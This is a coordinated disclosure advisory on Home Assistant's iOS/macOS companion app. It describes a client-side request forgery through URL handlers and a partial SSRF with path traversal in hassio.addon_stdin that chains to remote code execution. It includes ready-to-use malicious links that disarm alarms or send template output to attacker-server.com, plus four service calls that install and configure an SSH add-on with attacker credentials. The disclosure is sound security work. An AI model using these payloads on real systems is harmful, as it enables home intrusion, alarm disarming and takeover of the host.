Coordinated Disclosure Timeline

Summary

The Home Assistant Companion for iOS and macOS app up to version 2023.7.2 are vulnerable to Client-Side Request Forgery. Attackers may send malicious links/QRs to victims that, when visited, will make the victim to call arbitrary services in their Home Assistant installation. Additionally, the hassio.addon_stdin is vulnerable to partial Server-Side Request Forgery which, when combined with the Client-Side Request Forgery, may result in full compromise and remote code execution (RCE).

Product

Home Assistant

Tested Version

2023.7.1

Details

Issue 1: Client-Side Request Forgery in iOS/macOS native Apps (GHSL-2023-161)

The iOS/macOS companion apps expose a functionality to call services and render templates through URL handlers (homeassistant://call_service and homeassistant://x-callback-url/call_service, homeassistant://x-callback-url/render_template and https://www.home-assistant.io/ios/nfc/?url=<a URL you could use with the existing URL handler>). Because the companion applications are normally authenticated into Home Assistant, visiting any of these links will make the companion app perform a request to render a template or call any arbitrary services on the user behalf. This is also the case with app intents which can be used by Siri or Shortcuts apps to call arbitrary services or render any templates.

The attacker would need to craft a malicious link/QR/NFC and make the victim to visit it. Note that while entering the attacker-crafted link into a browser will make the browser to ask for confirmation to open the URL in Home Assistant, other attack vectors, such as using an universal link, are less suspicious. For example, when sharing the link https://www.home-assistant.io/ios/nfc/?url=homeassistant:%2F%2Fcall_service%2Flight.turn_on%3Fentity_id%3Dall in Slack, any victims clicking the harmlessly-looking link (as it’s hosted in www.home-assistant.io), will turn on all their house lights.

An attacker could craft a malicious link, QR, NFC tag or ShortCut which when visited/executed could perform dangerous operations such as disarming the alarm system (homeassistant://call_service/alarm_control_panel.alarm_disarm) or even shutting down HASS (homeassistant://x-callback-url/call_service?service=hassio.host_shutdown). In some cases, interacting with these services may require the attacker to figure out entity IDs or area names. In those cases, an attacker could leverage the render_template handler to execute arbitrary templates and send the response to an attacker controlled server: homeassistant://x-callback-url/render_template?x-success=https:%2F%2Fattacker-server.com&template={{<template, eg: areas()>}}.

In addition, an attacker can chain an arbitrary number of service calls by using the x-callback-url handler and then redirecting to next action with the x-success parameter. For example, to turn on the lights, then turn them off and then turn them on again the following steps are needed:

We can craft a malicious URL by first specifying the last action/step that we would like to perform and URL-encoding it. Then we can add the URL encoded link as the x-success link for the penultimate action/step and so on.

As we can see in the screenshot, Slack will even conceal the length of the URL and show an URL pointing to https://www.home-assistant.io/ which a victim may trust. Clicking on that link will automatically trigger the service calls with no further confirmation from the victim.

image

When using a QR, an iPhone will show a yellow banner reading “Home Assistant”:

image

Using a URL shortener, we can make the yellow banner display any domain.

image

The same risk applies to App intents through the Siri or ShortCuts apps. An attacker would be able to hide some malicious service calls within a popular Shortcut so when these shortcuts are executed the services would be called.

Impact

This issue may lead to arbitrary service invocation and Denial of Service.

Issue 2: Partial Server-Side Request Forgery in Core (GHSL-2023-162)

The hassio.addon_stdin is vulnerable to a partial Server-Side Request Forgery where an attacker capable of calling this service (e.g.: through the vulnerability GHSL-2023-161) may be able to invoke any Supervisor REST API endpoints with a POST request.

The vulnerability manifests in the HASSIO service handler. An attacker able to call this service will control the data dictionary, including its addon and input key/values.

    async def async_service_handler(service: ServiceCall) -> None:
        """Handle service calls for Hass.io."""
        api_endpoint = MAP_SERVICE_API[service.service]

        data = service.data.copy()
        addon = data.pop(ATTR_ADDON, None)
        slug = data.pop(ATTR_SLUG, None)
        payload = None

        # Pass data to Hass.io API
        if service.service == SERVICE_ADDON_STDIN:
            payload = data[ATTR_INPUT]
        elif api_endpoint.pass_data:
            payload = data

        # Call API
        # The exceptions are logged properly in hassio.send_command
        with suppress(HassioAPIError):
            await hassio.send_command(
                api_endpoint.command.format(addon=addon, slug=slug),
                payload=payload,
                timeout=api_endpoint.timeout,
            )

When service.service is hassio.addon_stdin, the returned api_endpoint will have a command property with the following value: "/addons/{addon}/stdin". Because the attacker also controls service.data and therefore service.data.addon, they will be able to abuse the format string in api_endpoint.command.format(addon=addon, slug=slug), and control the path the POST request will be sent to. The attacker also controls service.data.input and therefore, they also control the payload argument to the send_command function.

    async def send_command(
        self,
        command,
        method="post",
        payload=None,
        timeout=10,
        return_text=False,
        *,
        source="core.handler",
    ):
        """Send API command to Hass.io.

        This method is a coroutine.
        """
        try:
            request = await self.websession.request(
                method,
                f"http://{self._ip}{command}",
                json=payload,
                headers={
                    aiohttp.hdrs.AUTHORIZATION: (
                        f"Bearer {os.environ.get('SUPERVISOR_TOKEN', '')}"
                    ),
                    X_HASS_SOURCE: source,
                },
                timeout=aiohttp.ClientTimeout(total=timeout),
            )

            if request.status not in (HTTPStatus.OK, HTTPStatus.BAD_REQUEST):
                _LOGGER.error("%s return code %d", command, request.status)
                raise HassioAPIError()

            if return_text:
                return await request.text(encoding="utf-8")

            return await request.json()

        except asyncio.TimeoutError:
            _LOGGER.error("Timeout on %s request", command)

        except aiohttp.ClientError as err:
            _LOGGER.error("Client error on %s request %s", command, err)

        raise HassioAPIError()

As we can see in this code, the send_command will send an authenticated application/json POST request to the supervisor API where the attacker will be able to control the path and the body.

There are different ways of exploiting this vulnerability. For example, an attacker can send the following four POST requests to install the SSH addon, disable its protection mode, configure the SSH credentials and boot commands and restart the addon for the new configuration to take place:

service: hassio.addon_stdin
data: {"addon": "../store/addons/a0d7b954_ssh/install?", "input": {}}
service: hassio.addon_stdin
data: {"addon": "a0d7b954_ssh/security?", "input": {"protected":false}}
service: hassio.addon_stdin
data: {"addon": "a0d7b954_ssh/options?", "input": {"options":{"init_commands": ["touch /tmp/pwned-ha", "ls /tmp"], "packages": [], "share_sessions": false, "zsh": true, "ssh": {"allow_agent_forwarding":false, "allow_remote_port_forwarding":false, "allow_tcp_forwarding":false, "authorized_keys": [], "compatibility_mode": false, "password":"pwned", "sftp":false, "username":"hassio"}}}}
service: hassio.addon_stdin
data: {"addon": "a0d7b954_ssh/restart?", "input": {}}

As we can see in the first service call, we are using a path traversal to reach the /store/addons/<id>/install endpoint and a ? to discard the suffix added in the injection point (/stdin) by treating it as a query parameter.

To verify the exploit worked, check that there is a new file called /tmp/pwned-ha in the Core container.

This vulnerability can be triggered via the CSRF (GHSL-2023-161). The easiest way to execute these four call_service commands in a row, is by using a malicious Apple Shortcut such as:

image

These actions can be hidden within a long shortcut meant to do something else (e.g.: ChatGPT integration) and shared with the victim.

Note: The QR/URL vectors pointing to a homeassistant:// or universal link URLs can also be used to call the hassio.addon_stdin service and reach the SSRF/path traversal vulnerability. However, because of the way that the service data parameters are handled in the iOS/macOS companion app (as a String to String dictionary), it is not possible to send a dictionary as the value for the input key. Therefore, using the QR/URL vector an attacker will be able to submit a POST request with an empty body to any supervisor’s endpoints. The RCE vector shared before, requires two out of the four calls to have an non-empty body and, therefore, cannot be triggered using the URL handler. There may be other reachable supervisor endpoints that may lead to other dangerous scenarios though.

Impact

This issue may lead to Remote Code Execution.

CVE

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-161 or GHSL-2023-162 in any communication regarding these issues.